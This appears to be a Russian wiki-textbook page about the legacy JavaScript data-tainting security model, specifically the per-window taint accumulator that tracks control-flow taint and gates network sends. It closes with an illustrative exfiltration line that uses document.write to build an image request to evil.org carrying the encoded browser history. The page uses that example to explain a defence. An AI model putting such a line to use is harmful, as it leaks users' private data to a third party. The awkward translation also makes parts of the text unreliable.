Wiki-учебник по веб-технологиям: JavaScript/РазрушениеКакРезультатВыполненияУсловныхОператоров ...

Главная | Каталог |

Разрушение как результат выполнения условных операторов


В некоторых случаях информация разрушения обслуживается потоком управления, а не потоком данных. Для работы с такими ситуациями каждое окно имеет taint аккумулятор разрушения. Аккумулятор разрушения содержит разрушение, проверенное в условной части операторов if, for и while. Аккумулятор смешивает различные taint-коды для создания новых кодов, которые идентифицируют комбинацию источников данных (например, serverA, serverB или serverC).

Аккумулятор разрушения восстанавливается, только если содержит оригинальный taint-код текущего документа. Иначе разрушение накапливается, пока документ не будет выгружен. Все окна, загружающие документы из одного источника, используют общий аккумулятор разрушения.

Вы можете добавить или убрать разрушение из аккумулятора разрушения окна.


Если аккумулятор разрушения для окна одержит разрушение и скрипт пытается передать данные по сети, taint-коды в аккумуляторе разрушения проверяются. Только если аккумулированный скрипт разрушен, а taint-код целевого сервера и taint-код высылаемых данных совместимы, операция будет продолжена. Совместимость здесь означает, что два taint-кода либо равны, либо как минимум один из них имеет значение identity (null). Если скрипт, сервер и разрушения данных несовместимы, выводится диалоговое окно, чтобы пользователь мог подтвердить или отменить загрузку URL или отправку формы.

Аккумулированное разрушение действует в течение setTimeout и до вычисления первого аргумента для setTimeout. Оно работает в document.write в сгенерированных тэгах, так что зловредный скрипт не сможет узнать закрытую информацию типа истории сессии, генерируя HTML-тэг с неявно загружаемым параметром SRC из URL, как здесь:

document.write("<IMG SRC=http://evil.org/cgi.bin/fake-img?" +
   encode(history) + ">")